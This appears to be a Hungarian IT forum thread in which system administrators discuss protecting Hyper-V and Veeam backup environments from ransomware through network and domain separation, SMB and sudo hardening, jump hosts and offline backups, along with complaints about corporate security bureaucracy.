A Veeam repository általában egy vagy több Windows szerveren van. Ha annak a védelme nincs megfelelően megoldva, akkor csak annyira van védve, mint bármelyik másik Windows szerver, amit titkosít a ransomware.
Nem, nem dc-n (elve van olyan félkegyelmű aki dc-re rak hyper-v host-ot?) csak abban a domain-ben. A wannacry megmutatta, hogy életveszélyes, én több cégnél takarítottam a szart, miután szétborította az egész hyper-v környezetet.
A hyper-v életveszélyes hulladék. Ha egy domain-ben van a kliensekkel, és azok elérik az smb szarjait, akkor simán encyrpálhatják a vhd-t és volt nincs virtuál gép. Elég egy samba sérülékenység, vagy egy jogosultság benézés, vagy egy admin által beszívott malware.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Ennél jóval prózaibban is elérhető. Egy domainben a domain admin joggal hosztnév/c$ jellegűen fel tudod minden domain tag összes drive-ját mountolni. A domain tagokat nem nehéz kideríteni, illetve ha van valamilyen bug, akkor DC-n domain admin jogot is lehet szerezni. Esetleg lokál adminok voltak a gépen valahogy, amin ott volt a backup share felmountolva.
Az lehet, hogy megfontolandó, hogy maga a backup szerver (NAS) eleve backup hálózatban van, nem is a menedzsment jellegűben, és nem domain tag, hanem lokális felhasználó van. Még egy egyszerűbb hálózatban sem biztos, hogy sima ügy az újrakonfigurálás.
mindenféle él nélkül kérdezem, ehhez mennyit kell tanulni, hány év tapasztalat kell ilyen meglátáshoz? Abszolút jószándék a kérdés, hát érdekel, nna, úgy is kérdezhetném: hány év szop@s, hány ordas pofáraesés. Komolyan érdekel.
Hát egy MCSA / MCSE nem árt hozzá erős security irányultsággal. De még akkor se biztos, hogy ezt valaki tudni fogja és/vagy figyel rá.
Itt nem az év számít. Ismerek olyan winteles kollégát, aki hiába van 10-20 éve a pályán, nem tudja ezt a funkciót, mivel sose kellett használnia, nem kellett a rendszerek ITsec aspektusaival foglalkozni.
Lehet olyan szakember, aki már 1-2 éves tapasztalattal is elkezdni böngészni a gépek megosztásait és felteszi a kérdést: Mi az a C$, IPC$, Admin$, Netlogon stb. megosztások? Mire jók ezek? Mi használja ezeket?
Ezt hiába tudod, hogy ha egyszerűen nem biztosítják hozzá a pénzt, paripát fegyvert, jameg az időt. Szó szerint napi szinten kell mindenféle hekkelést, félmegoldást csinálni, mert se pénzt, se időt nem biztosítanak. Ekkora szeparációt a mindenféle csodaszuper emberek által összerakott örökölt rendszereinkben sehol sem láttunk, vagy nem is kaptunk sosem ilyen ajánlást, vagy igényt. Kérdőívet viszont kaptunk akkorát, hogy 3 napig többen töltöttük ki, például hogy van-e covid officer a cégnél, meg hogy a teszt rendszer (khm...) meg a patch menedzsment, meg a minden, nyilván felül beírtak mindent, hogy jó legyen, 1-2 dolgon sikerült elgondolkodni, aztán lett valami.
Ahol rajtam múlik, ott a lehetőségekhez képest mindíg is volt szeparáció. Szerinted hányszor hallgattam, sőt hallgatom, hogy minekez, csak túlbonyolítom (hiszen random VLAN random IP címéről a menedzsment dolgok nem voltak elérhetőek), őkdolgozniakarnak, nemértjükminek... stbstb. Ugyanez pepitában, hogy már 10 éve is odafigyeltem, hogy ne olvasszák le a kábeleket a falban a cuccok lehetőleg. Bár ebben meg az a politikai probléma van, hogy amikor fel kell mutatni a spórolást, akkor nem lehet érdemben, mert minden eleve maximálisan optimalizált. :) (Hát nálunk az ájti nem tud spórolni, egyszerűen bénák... az persze... hiszen az excelben nem megy le 30-40%-kal villanyszámla, mert a kiindulópont már eleve jó.)
Könnyen lehet, hogy sokszor a fenti politikai okból, azaz mindíg legyen felmutatható valami, valahogy nincsen kimaxolva a történet. Amikor olvasható mindenféle hír, akkor hirtelen ki lehet tűzni egy remek fejlesztést, remek alvállalkozók vonhatóak be (vagy üzemeltető vállalkozóként adható be remek ajánlat, hogy hogyan lehetne elkerülni), és megint igazolt a pozició, a nagyon komoly munka és társai.
Az időhöz hozzájárul a folyamatos alultervezés. Vagy eleve kevés az IT létszám, vagy üzemeltető vállalkozóként adott ajánlatnál a "hát ebből faragni kéne" téma jön, és nyilván az óraszám csökken, ami nem a napi ügyek, hanem a finommunkák csökkenését jelenti. Természetesen olyan megrendelőkről van szó, ahol aprópénz jellegűen akar a pénzügyes csőlátású a zsetonból. Hát tessék, akkor faragott, hiszen fel tudta mutatni az excelben, meg a főnökei felé, hogy ő itten megfogta a "túlburjánzó" ájtit.
Lehet mondani, hogy ez ilyen kiégett, világfájdalmas, meg frusztrált duma, de amikor a döntő többség már 20 éve ilyen, akkor finoman szólva is erodálodik a szakmai minimum, hogy finoman fogalmazzak. Külön szeretem, hogy amikor szólok a fejlesztőnek, hogy probléma van, meg jelzem másnak, akkor vagy elhal a dolog, vagy a fejlesztőtől jön, "ja ezt nem fizetik, sorry nem tudok vele foglalkozni".
Ennek a problémának a visszacsatolás a megoldása: beszopja -> csődbe megy/kirúgják/tanul belőle.
Ahol ez nincs meg valamiért (nem piaci alapon megy a biznisz, beszopás után is van, aki zsebbe nyúl), ahol nincs meg a visszacsatolás, ott persze bármi megtörténhet.
Ezt írom mindig én is. Az ilyet be kell szívni, hogy tanuljanak belőle, de az csak saját káron szokott menni. Nem kárörvendésből, de ahhoz egyszer kell tapasztalat, hogy a tanulságokat le tudják vonni. Addig sose fogják komolyan venni, mert csak elméleti fenyegetés, á, őket úgyse fogja érinteni, nekik minősítéseik vannak, stb.. Ahogy megvan a baj, onnantól van az, hogy a későbbiekben ténylegesen is tesznek ellene valamit, hogy ne ismétlődjön meg.
Ez home usereknél is így szokott lenni, nem csak cégeknél, és nem csak malware, ransomware esetében, hanem pl. adathordozó kimúlása esetén adatvesztés, vagy pl. user errorból történő adatvesztés (véletlen felülírás, formázás, adatkorrupció), rendszer véletlen összegányolása esetére is, hogy valaminek történnie kell ahhoz, hogy a gyakorlatban is komolyabban vegye a dolgokat a kedves felhasználó.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Én meg azt teszem ehhez hozzá, hogy ha nincs visszacsatolás, akkor még beszopás esetén sem lesz belőle tanulás. Ha a hibás döntést meghozó főnökön nem kérik számon az elkúrt zsét/lehetőséget/stb, mert mondjuk az állam pénzeli a játékot, és a főnök "csókos" (tehát mindent elnéznek neki), akkor az illető ezt pontosan ugyanúgy fogja tovább folytatni.
WinRM óta nem kell admin share ahhoz, hogy managelni tudjál egy Windows Server-t és ahhoz sem hogy fájlokat mozgással. Nincs olyan komponense a Hyper-V-nek, ami admin share-eket használja.
De gondolom a Linuxos szervereket is managelned kell valamivel, ergo egy sudo su joggal pontosan annyi kárt tudni tenni távolról a károkozó, mint Windows Server esetén.
De gondolom a Linuxos szervereket is managelned kell valamivel, ergo egy sudo su joggal pontosan annyi kárt tudni tenni távolról a károkozó, mint Windows Server esetén.
A vpn+ssh nem összemérhető egy smb megosztással. Ezen kívül a linuxos ransomware mennyiség sem összemérhető windows-os károkozókkal.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Ez így van, amíg az SMB szűk szolgáltatásokhoz biztosít hozzáférést, az SSH potenciálisan mindenhez. Az egyik legelbaszotabb dolog a Linuxos világban, hogy fájl mozgatásra használnak egy konzolt biztosító protokollt.
A windows-hoz önmagában valóban nem kell smb, de ahhoz, hogy dolgozz is vele ahhoz már igen, meg a hyper-v volt a téma, ahhoz is kell. Jók ezek az elméleti megoldások, de már a mezei AD sem megy smb nélkül, az meg kb minden windows környezetben van. Elvileg sok minden lehet, csak ugye a valóság néha közbeszól.
Az ssh-t én nem látom ennyire problémásnak, de az tény, hogy gépem sem érhető el közvetlenül ssh-val a netről.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Hát mutass egy olyan vállalti éles hyper-v környezetet ahol nincs smb. Nem kispálya bt egy szem gépe bohóckodni. Akkor kell smb, ha használni akarod a windowst, kb minden tool igényli, mert szokás monitorozni, meg védeni, meg frissíteni távolról.
Komolyan érdekel, hogy van-e olyan környezet, ahol ki tudták kapcsolni, de nem elméleti, hanem nagy éles igazi.
Az smb meg ssh összehasonlítás nekem alma-körte, egész másra valók.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Bevallom, komoly Hyper-V rendszerrel még nem volt dolgom, de itt a probléma kapcsán nem is értem, hogy mi más lenne az alapvetés, minthogy a Hyper-V-k külön VLAN-ban vannak, szűken meghatározott helyekről elérhetően (az ESXi-ket és vCenter sem szokás a teljes cég számára elérhetővé tenni, bár nyilván látott már az ember érdekes dolgokat).
Illetve kérdésem is, hogy AD-n keresztül (amihez "kinyúl" egy Hyper-V) ilyen esetben miként lehet rongálni a Hyper-V-n levő adatokat? Az tiszta sor, hogy "nagy" Hyper-V rendszer esetén legyen külön felügyeleti AD, de pl 2-3 szerver esetén ez nem feltétlenül racionális (szemben egy dedikált VLAN-nal, ami 1 gép esetén is fontos).
Én simán átengedném az AD domain forgalmat a Hyper-V hosztok hálózatába, nem vagyok meggyőződve róla, hogy növeli a biztonságot az adminisztrációs fiókok számának növelése.
Ha nem ugyanaz a jelszó, akkor az AD admin jelszavának kompromittálódása nem jelenti instant a HyperV hostok halálát is. Ezeknek külön szeparált dolgoknak kell lenniük.
Az SMB-re én se értem mi szükség van, normális helyen iSCSI-n vagy hasonlón érik el a storage szervert, ott a live migrationhöz nem kell semmise.
Az SMB-re én se értem mi szükség van, normális helyen iSCSI-n vagy hasonlón érik el a storage szervert, ott a live migrationhöz nem kell semmise.
Redundáns storage nélkül, sűrű replikával elég jó sla-t lehet vállalni és igen sokat spórolni. Nem mindenhol fürdenek tejben-vajban.
Ezért (is) jobb szerintem a proxmox a ceph cluser megoldásával. Az nagy királyság. Ezen kívül mivel heterogénebb lesz a rendszer a biztonság is jelentősen nő.
Viszont én, igaz régebben, próbáltam smb nélkül hyper-v cluster összerakni, de nem sikerült. Ha valaki ismert egy tutorialt rá, istenuccse kipróbálom.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Ha veszel egy Hyper-V vagy VMWare clusterhez szükséges szerver beruházást, és igény a nagy rendelkezésre állás, akkor mi ez a "tejben vajban fürdés" történet? Annyiba kerül a rendes megoldás amennyibe.
A CEPH meg jó dolog, csak emlékeim szerint minimum 5db szerver kell hozzá. Ez még nagyon szolid vasakkal is bőven több áramot igényel, meg esetleg beruházást, mint egy dual controller, de belépő storage eszköz. Ha pedig a CEPH szétesik esetleg, akkor pislogsz, mint hal a szatyorban, és van itt olyan, aki tudna erről mesélni.
Ha nem ugyanaz a jelszó, akkor az AD admin jelszavának kompromittálódása nem jelenti instant a HyperV hostok halálát is. Ezeknek külön szeparált dolgoknak kell lenniük.
Hol húzod meg a határt a szeparációban?
Ha kompromitálnak egy Domain Administrator account-ot, ott lényegében az egész Windows-alapú és AD-ból authentikáló hálózat mehet a kukába.
Én ennél nagyobb kockázatot látok trust nélküli AD-k, vagy sok lokálisan authentikált account-on alapuló üzemeltetésben.
Azért csináltam már olyat kollégákkal, hogy a Hyper-V node-ra is csak valami hasonló úton lehetett belépni:
1. Belépni egy jump hostra - természetesen 2fa-val. Továbbá képernyő rögzítés és billentyűzet figyelés is volt.
2. Majd innen belépni egy PIM toolon keresztül jump hostra. Itt is 2fa, illetve erősen szűrve volt, hogy ki léphet be egyáltalán a jump hostra. Természetesen se a vágólap, se fájl másolás nem működött a jump hostra és visszafelé sem.
3. Majd utolsó lépésben be lehetett lépni egy dedikált mgmt gépre, amiről aztán lehetett RDP-val / PSremoting-gal belépni a Hyper-V node-okra.
Természetesen volt SCCM / SCVMM is menedzselésre. De azt is csak a 3. lépésben lévő mgmt gépről lehetett elérni.
Nehezítette az életét az üzemeltetőknek? Igen.
Lehetett dolgozni a rendszerrel? Igen.
Az ssh-hoz és sudo-hoz annyit csak: Amikor engedik a "sudo -i"-t, illetve korlátlanul engedik a sudo parancsot futni sok felhasználónak, akkor szokott gyorsan kupleráj kialakulni. Csak sokan félnek, hogy jajj, 1000+ sor lesz a sudoers, ezért lusták minden parancsot az összes engedélyezett paraméterével felvenni. Nekem ebből már volt vitám kollégákkal, akik nem mindig értették, hogy ez miért növel(het)i a biztonságot... Persze a sudo közel sem csodaszer, csak egy eszköz a sok közül.
Azért a sudo-val érdemes vigyázni, mert van egy rakat tool, amiből pl. tudsz shell-t vagy mást is futtatni - immáron root joggal - amit már nem fog megfogni a sudo...
Amikor itt rákérdeztem, hogy van-e valakinek tapasztalata több ezer soros sudoersekkel, akkor hamar kiderült, hogy ki nem látott még ALL=(ALL) NOPASSWD: ALL -nál kifinomultabb sudoerst, hehe. Nagyon sokan.
Mert sokan félnek tőle. Egyáltalán az ilyet áttekinteni, megérteni is nehéz tud lenni, ha össze-vissza van tákolva a rendszer. Ideális esetben ezt valamilyen konfiguráció menedzsment rendszerben kellene tárolni, onnan kitolni a szerverekre. Csak sokszor még a nagy cégek is kézzel hegesztik ezeket a fájlok is.
A sudoers nem csak a változtatáshoz kell, hanem sok esetben normál napi üzemeltetési feladatokhoz is (pl. adott szolgáltatást újrarugdalni, az adott host-on lévő konfigot megnézni (a konfig management az csak azt tudja, hogy minek kéne ott lenni, azt alapból nem, hogy valóban az van-e ott és úgy ahogy kéne), logot olvasgatni és hasonlók - tudom, ez utóbbi megfelelően cirkalmas acl-lel is megoldható az esetek döntő többségében...
Volt olyan bank, ahol úgy baszódott el az egyik DEV környezet, hogy az egyik rendszergazda rosszul gépelte be valamelyik fájlba, amit bele kellett írnia ezen meg még százvalahány szerveren és hát pár százalékos hibaaránnyal dolgozott... :D
Nem bank, hanem ... környezet, országosan elérhető és használt kritikus szolgáltatások mögötti infrastruktúra. AIX, régi sudo, a sudoers.d alatt kézzel pimpelt fájlokkal. A sudo azon verziója ha a sudoers feldolgozása során hibára futott, ekkor mindenkinek "beintett". Kollegina sikeresen el...rontotta az egyik fájlt, kilépett a sudo su - módon kapott root shellből is, mire ráeszmélt, hogy az úgy nem jó...
Naazt a gyors telefonálást, hogy ki van bent rootként... Mert borítékot bontani kifejezetten khm. kellemetlen lett volna...
Egyébként amit százvalahány szerveren kell beírni, azt okos ember kopipasztázza, ha már nincs valami konf.management eszköze... (Tudjuk, te sohasem gépeltél el semmit... )
Mert borítékot bontani kifejezetten khm. kellemetlen lett volna...
Hacsak nem root123 a jelszó, amit mindenki tudott... szintén egy bank... :D
Egyébként amit százvalahány szerveren kell beírni, azt okos ember kopipasztázza, ha már nincs valami konf.management eszköze... (Tudjuk, te sohasem gépeltél el semmit... )
Ja, ez valami névfüggő valami volt, rövidebb volt begépelni, mint bemásolni, törölni a felét és beírni a felét.
Az ilyen extrém esetekre az lett volna az új szabály egyik ügyfélnél, ha változtatás történik - jóváhagyott - legalább 2 de ideális esetben 3 mérnök vizuális megerősítése szükséges.
Egyik mókamester megkérdezte hogy akkor most költözzek össze a xy-al, mert azt kértétek hogy ez meg ez éjfélkor legyen megcsinálva az pedig otthonról megy.
Ment is ám a nagy hümmögés mert erre nem gondolt senki odafent aztán elég ciki volt.
Végül nem lett belőle semmi.
Teams meetingben screenshare a másik 2 emberrel, akkor nem kell odaköltöznie a másik 2 embernek a dolgozódba. És igen, ha éjfélkor van a cséndzs, akkor nekik is ébren kell lenniük. De ha fontos a 6szem-elv elkerülni a fukup-ot, akkor kell a másod-harmadvélemény. Illetve muszáj h. megfizetik a készenlétet ügyeletet ha ezt éjfélkor kell játszani nem emberi időben. Azt nemtudom ezt a példát minek kell tekinteni mert végülis dolgoztak, szolgálatba helyezték magukat arra a 10 percre amíg átnézték a 3. ember konfigját.
Kihagytam hogy ez még mindig 2009-es anekdota volt, annak idején nem dúskáltunk a videókonferencia softwarekben, más idők jártak. És sok esetben policy volt hogy nem lehet képernyőképet sem készíteni. Azóta azért változtak a dolgok, de még ma is látni olyat hogy a security inkább obscurity vagy elavult nézeteik vannak a területen dolgozóknak.
"Ja, ez valami névfüggő valami volt, rövidebb volt begépelni," - Két lehetőség van: az egyik, hogy annyira egyedi a függés, hogy nem lehet/nem érdemes (túl bonyolult lenne) scriptet írni rá, illetve a másik,hogy scriptelhető az egész.
Az első esetben megint csak két lehetőség van: kézzel, egyedileg mindenhol gányolni (és hibázni), vagy előre összeállítani a változó "paraméterek" listáját a név függvényében, azt többször/többen átnézni - majd ez alapján már scriptből tolható a módosítás, azaz vissza lett vezetve a 2. esetre.
A második (scriptelhető) eset az egyszerű: script megír, tesztel, majd végigtol mindenütt, ahol csak kell.
Ahol Ansible vagy más konfigmanagement van, ott is jellemzően feltétel, hogy scriptelhető legyen a módosítás. (A scriptelhetőbe beleértve a cvs/svn/fsvs/git/satöbbi verziókezelőből kihúzott fájlok kezelését is (checkout, helyére másol, fsvs kivételével acl helyrerak).)
"törölni a felét és beírni a felét" - a vi csodákra képes :-D - ahogy az agilis, de tudás- és/vagy gyakorlathiányos üzemeltető is. :-D
Megesik, erre jó az automatizáció mert akkor legalább konzisztensen rossz mindenhol.
A dev környezet már csak ilyen, az a durva ha aztán nem repóból húzzák újra hanem debuggolni kell hogy miért nem megy.
Nekem más tapasztalatom volt bankokkal: 2009 -ben Cobbler + CFEngine/Puppet.
Újabban kubernetest tolnak- ezt a volt kollégák LinkedIn-jéből következtettem ki.
Csak akkor megint ott vagy, hogy a napi munkavégzésre használt account-on felül kell egy account, aminek csak SCP-re van joga, meg egy külön, ami kap Shell-t is.
Kezdetektől fogva lett elcseszve, hogy egy protokollt használnak fájl mozgatásra és távoli shellre, ez pedig általánossá vált.
Minden egyéb hiányosságai mellett ez egy olyan terület, ami jobban át lett gondolva a Windows-okon.
És máris ott van az ssh-ban a fájlátvitel. Igaz, ez után az SPS admin, pláne ha khm. "jelentős méretű" a fájl, akkor letépi a delikvens legnemesebb szervét :-)
Az ssh by design távoli terminált és fájlátvitelt, illetve portátirányítást valósít meg. Ahogy az rdp is ad távoli képernyőt, fájlátvitelt/vágólapot, átirányítást (usb, printer, sound, stb.).
Az rdp-szolgáltatásból ezeket az "extrákat" ki lehet valahogy kapcsolni/tiltani az rdp-kiszolgálón, vagy mindenképp kell hozzá egy 3rd party eszköz, ami ezeket a csatornákat tiltja? A vágólap tiltása (részben) tudom, hogy működik policyból.
Csak akkor megint ott vagy, hogy a napi munkavégzésre használt account-on felül kell egy account, aminek csak SCP-re van joga, meg egy külön, ami kap Shell-t is.
Igen, és?
Mármint technikailag igen, ez user kérdés, ha ilyen igény van, hogy valaki egyszerre tudja ezt, meg azt. De ha mindkettőre van jogom, akkor igazából nem mindegy, hogy ezt egy ssh keresztül kapom, vagy egy telnettel és egy ftpvel? (képzeljük oda az secure channelt most azok alá is, nem az a lényeg).
Ha meg eseti döntés kell, akkor meg valami még mindenképpen kell majd, ahol a döntést hozó 3rd party dönthet, és ez a döntés dinamikusan lekerül, ha linux, ha windows.
Illetve hát azt kell látni, hogy ahol terminál van, ott fileátvitel is van, lásd zellert. Ha fileokat tudok kezelni, akkor abba fogok tudni biteken terminált önteni, ha más nem base64, copypaste. Ez ezeknél a rendszereknél adottság.
Illetve hát valamiért én mégiscsak azt látom, hogy a windowsoknál dívik a 'bela' és az 'admbela'...
Kezdetektől fogva lett elcseszve, hogy egy protokollt használnak fájl mozgatásra és távoli shellre, ez pedig általánossá vált.
Persze, ez a tipikus "ha világéletedben egy kalapács volt a kezed helyén, akkor az egész világ egy szögnek tűnik" hozzáállás.
A protokoll egy transzfer protokoll, ergó tökéletesen alkalmas bárminek az átvitelére IS (fájl mozgatás, távoli shell, meg gyakorlatilag bármilyen port forward, tehát bármi IS).
ami jobban át lett gondolva a Windows-okon
Nope. Ez nem (sem) lett jobban átgondolva a Windowsokon.
Csak akkor megint ott vagy, hogy a napi munkavégzésre használt account-on felül kell egy account, aminek csak SCP-re van joga, meg egy külön, ami kap Shell-t is.
Ez ugye a Windowson alap, minden általam ismert valamirevaló Windows rendszergazda külön user és külön admin accountot használ. Állítólag azért, mert ez jobban át van gondolva a Windowsokon, mert bizonyos dolgokat ha belegebednek sem tudnak admin jogosultsággal rendelkező accountjaikkal megcsinálni, ezért kell egy sima is... #ohwait
A felvetésre visszatérve: képzeld, nem kell külön account csak az SCP-re, meg külön shellre. Képzeld, a UNIX világban lehet egy gépen ugyanazt a szoftvert több független példányban futtatni! Tudom, tudom, a Windowsos világ számára még új ez a terep, több IP cím, több DNS név, több port, több példány - eltérő konfiggal/szolgáltatáshalmazzal, de nekünk, UNIX-osoknak ez már a múlt évezredben megvolt ;-)
Azt nem tudom, hogy szerver oldalon lehet-e pl. GPO-ból vagy más módon szűkíteni az rdp funkcionalitást, de hogy 3rd party eszköz van rá, az biztos. (Nekem is van olyan TS-em, ami tényleg csak terminál, vágólap, fájl "dobálás", nyomtatás, usb, hang, ingyombingyom :-) nincs.
Ha tűzfalazod az SMB-t a Hyper-V node-okon, akkor jelentősen csökkentheted, hogy honnan is érhető el. Ja, hogy a PHP Pistike szinten az a szokás, hogy tűzfal kikapcs. Láttam már ilyet nagy cégnél is, sajnos.
Jól összefoglaltad. Annyi tennék hozzá, röviden, hogy ha jót akar az ember magának, nagyjából ezek kellenek:
- hyper-v külön domain
- hyper-v külön lan (nem vlan, külön switch(ek))
- guest nem érheti el a host-ot
- backup külön lan (egy combosabb mentés ne fektesse meg a management-et)
- offsite/szalagos/hálózatból elérhetetlen mentés
Így nagyjából csak hyper-v exploit ami miatt borulhat az egész :)
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Ezért kell elszeparálni teljesen a munka domian-tól fizikailag a hálózaton is. Nem workgroup, külön domain kell neki. Persze, addig nincs probléma, míg nem jön egy újabb wannacry. Akkor ugyanis ilyen, "semmi probléma nincs belőle" rendszerek dőltek össze. A hyper-v (mint minden virtualizáló host) képes elszeparálni magát a guest gépektől, így a munkaállomások és a rajta futó guest gépek sem érik el az admin share-t rajta.
Ezek ellenére szerintem "nagyon bátor" aki hyper-v-t használ. Ott az ingyenes (kifizethető support árú) proxmox, vagy akinek van rá, a vmware. A homogén rendszer security szempontból nem szerencsés.
u.i.
Ha emlékszel a wannacry egy smb sérülékenységet használt ki és nem kellett admin jog, hogy elérjen bármilyen share-t írás joggal! Hát tényleg volt sírás-rívás.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Üzemeltetek vagy 30 hyperv szervert, klasztert, nagyon bátor vagyok.
Vmware-t épp most törögetik mindenféle automatizált worm-ök, nem tűnik jó ötletnek azzal példálózni, hogy mennyivel biztonságosabb, mert nem az.
Wannacry-ra volt patch, fel kellett volna rakni. Aki nem patch-el és nem tartja be a minimális üzemeltetési feltételeket az bizony sirni-rini fog. Akkor is ha hyperv-t használ és akkor is, ha proxmoxot vagy épp a hűdebiztonságos-és-ezért-nagyondrága vmware-t.
A hyperv egy nagyon jó eszköz, nincs vele semmi gond, ha értesz hozzá. Ha pedig nem értesz, akkor mindennel megszivod.
Szóval mindenre kitalálnak mindent, még akkor is, ha maga a telepítő van "felütve". A VMWare azért remek célpont, mert nagyon berágta magát, mint szupermegoldás, és nagyon nagy helyeken használják, szóval megéri támadni.
A Hyper-V remekül tud működni, és mivel amúgy is szeparálod a hálózatot, ha lehet fizikailag (értsd adnak rá zsetont, van hely a rackben hozzá stbstb), ezért igen nehezen jut be oda valami. Az SMB-t elég csak mentéshez használnod, és igen szépen lehet még tűzfalazni is. A shared storage mint FC vagy iSCSI, pláne egy rendes storage eszközön, azért még mindíg nyerőbb, mint SMB-ről megoldani a dolgokat.
A Wannacry ráadásul az SMBv1-es cuccot használta ki, ami (elvileg, bár lehet ezt pont ezután vezették be) alapértelmezésben már ki volt kapcsolva Win10 és arra épülőkön. Ettől függetlenül mindenben lehet olyan bug, amivel végigtúrják a hálózatot, nincsenek illuzióim.
Szerintem itt a kulcsszó a szeparáció, izoláció. Ha ez nincs meg, akkor teljesen mindegy, hogy milyen virtualizációt használ. Speciel én üzemeltettem nagy Hyper-V rendszereket is (100+ cluster, 1000+ fizikai szerver) és elég jól elműködött mindenféle issue nélkül.
No meg hiába a több domain, ha valaki kitalálja, hogy milyen jó lenne trustba tenni őket...
Természetesen ha az üzemeltetési kompetenciák nem megfelelőek, akkor a Proxmoxot és a Vmware-t is pár óra alatt tönkre lehet tenni. Aztán jön a BCP, DRP, amikről meg általában ki szokott derülni, hogy csak papíron vannak és soha se tesztelik őket. Ja, hogy utána meg jön az "oldd meg, te vagy a szakember!!!" című sárdobálás...
inkabb az a kerdes, hogy egyresze a web felol hogy kurhatta el a backendet/backoffice rendszereket, es viszont - a backoffice felol hogy kurta szet az ugyvitelt...
Úgy, hogy ezeknél a cégeknél ez nem válik el egymástól. Fenn van mondjuk egy webszerveren a crm.chs.hu, a webshop.chs.hu, és kész. Természetesen cPanelben vagy valami hasonlóban hostolva, localhoston a mysql.
Na meg normális esetben PURDUE model elvei szerint a backupszerver egy biztonságosabb zónában ülve nyúl a mentendőért. Ergó nem mehet át a régebbi adatvagyon tárolójára a pusztítás.
Sajnos sok helyen számomra érthetetlen megfontolásból mai napig nem így csinálják
Ez még önmagában kevés. Biztosnak kell lenned abban, hogy amit lementettél az nincs titkosítva. Manapság már jellemző, hogy miután bejutnak valahova (főleg komolyabb helyekre, ahol érdemi pénzt lehet kérni), megkeresik (scripttel), hogy milyen mentésed van (pl milyen agent fut, milyen külső elérések vannak, milyen dump és egyéb scriptek) és megoldják, hogy már a mentés titkosítva történjen meg a tudtod nélkül. Ezt csinálják X napig (pl X=31) és utána titkosítják le az éles rendszert és kérik a váltságdíjat. Így sokkal nagyobb esélyük van pénzhez jutni, szemben azzal, hogy előző napi offsite mentésből vissza tud állni a cég. Persze ha a külső hely olyan módon menti az adatokat, hogy az nem igazán látható a mentett szerverről, akkor az oké lehet, vagy ha nagyon fullos monitorozásod van a mentésen, az is sokat segít, de a legbiztosabb az, ha rendszeres visszaállítási teszted van, ahol a "rendszeres" nem fél év, meg ilyenek... vagy hát az akkor elég, ha nem gond fél évnyi adatot elveszteni.
Nem fogok titkot elárulni h. nagy multinál is kupleráj van a szekuriti cukormáz alatt. Ott, ahol euro/dollár tíz-százmilliárdok forognak kockán. Mindenhol csak a gányolás, a papíron megfelelünk, a szekuriti tréninget minden évben szorgalmasan végigültük, kitöltöttük a tesztet, compliant minden mint a kutyafasza. Aztán meg unmanaged otthoni eszközről kell belépni az azure tenantba, mert a céges gépen a céges szeku poliszi nem engedi feltelepíteni azokat a toolokat, amikkel az ember a napi munkáját kellene végezze. Pontosabban persze, notepad.exe-ben is lehet konfigot heggeszteni, csak akkor az 1-2 órás meló 3 napig tartana, és 100-ból 99x hibás lenne elsőre. Mert parancsba van adva, hogy First Time Right, és ezr mérik külön semmirekellő menedzserek hada, és baszogatást kapsz ha nem müködik elsőre, meg milyen hülye vagy hogy hibáztál! A főnökséget meg nem érdekli miért 3 nap, az 1-2 órás időtartam alapján osztják be az idődet, és amíg nem dől ki a biliből a szar, hallgatólagosan szemet hunynak a szekuriti poliszi nyilvánvaló áthágására. Mert felfelé természetesen nincsenek kommunikálva az elégtelen munkafeltételek, mert fent ezekről hallani se akarnak. Ott azokat csak az érdekli hogy minden compliant papíron. Így dógozzá b+ !
Effektíve ha berendelik az embert dolgozni aznap az irodába, akkor nem tudja elvégezni a munkáját, mert a valóban dolgozós privát laptopját nyilván nem fogja bevinni az irodába rádugni a céges hálóra.
Aztán meg unmanaged otthoni eszközről kell belépni az azure tenantba
Már az is gáz, ha lehet, nem az, hogy kell.
Ott vannak előnyben a multik, hogy a többé - kevésbé müködő folyamatok sok mindent lefednek, ez mellett van pénzük security eszközökre.
Ha van vulnerability scanner, local admin jogosultságokat felügyelik valami eszközzel (Avecto pl.), a felhasználói és hálózati aktivitásokat figyelik, már is előrébb vannak.
Nyilván sejtheted h. több ember több szinten is hunyó abban, hogy ez így működhet. És sajnos nem tudom őket egyértelműen elítélni. Ezek ilyen evolúciósan kialakult dolgok, az emberek, csapatok így reagálnak a rossz szabályozásokra, rosszul működő folyamatokra.
Én pl. 2 éve könyörgök h. hagyják jóvá a total commander használatat, mert annyi kibaszott fájllal kell zsonglőrködnöm. A windows beépített fájlintézője meg olyan buta mint a tök. Megvettem saját zsebből a licenszet is tizenx éve (kíváncsi lennék hány cégnél nyomkodják évtizedek óta az 1-2-3-at), de a szekusok nemengedik, mert az personal use, ez így céges gépen meg már biznisz usage lenne. De pénzt nem adnak rá megvenni céges licencelt változatban. Az az 50 kiba euró ezerszeresét elégettem már 2 év alatt a lassabb munkám miatt. De nem, akkor sem lehet. Különben is szekuriti riszk a total commander, ezért no approve. Notepad++ is sok sok sok sok sok év után ment át a bürokrácián, érthetetlen hogyan sikerült.
Sosem csináltam, kicsit olvasgattam már egy jó 10 éve, de signed elf létezik, a kernelben levő IMA support pedig már akkor úgy tűnt, hogy beszél a TPMmel, és van/lesz hozzá aláírás ellenőrzés. Ha jól rémlik, vmi fs xattr-ba teszi el a hasheket. Szóval elvileg lehet, nem is kifejezetten új dolog.
Mondjuk az nem rémlik, hogy scripttekkel pl mit csinál. Tényleg, windows pl powershellel mit csinál ilyenkor?
Mondjuk a gyakorlatban azért kíváncsi lennék a RemoteSigned internet/nem internet megkülönböztetőkéjének a megbízhatóságára, meg az ilyenekrére, hogy "Permits individual commands, but does not allow scripts." :), de egész átgondoltnak tűnik.
btw azért van olyan hely ahol megvásárolják :) Ott nem kattan a bilincs :) Bár gondolom elég kevés ilyen hely van :) személy szerint 1 ilyen helyről biztosan tudok :) Bár az se multi*
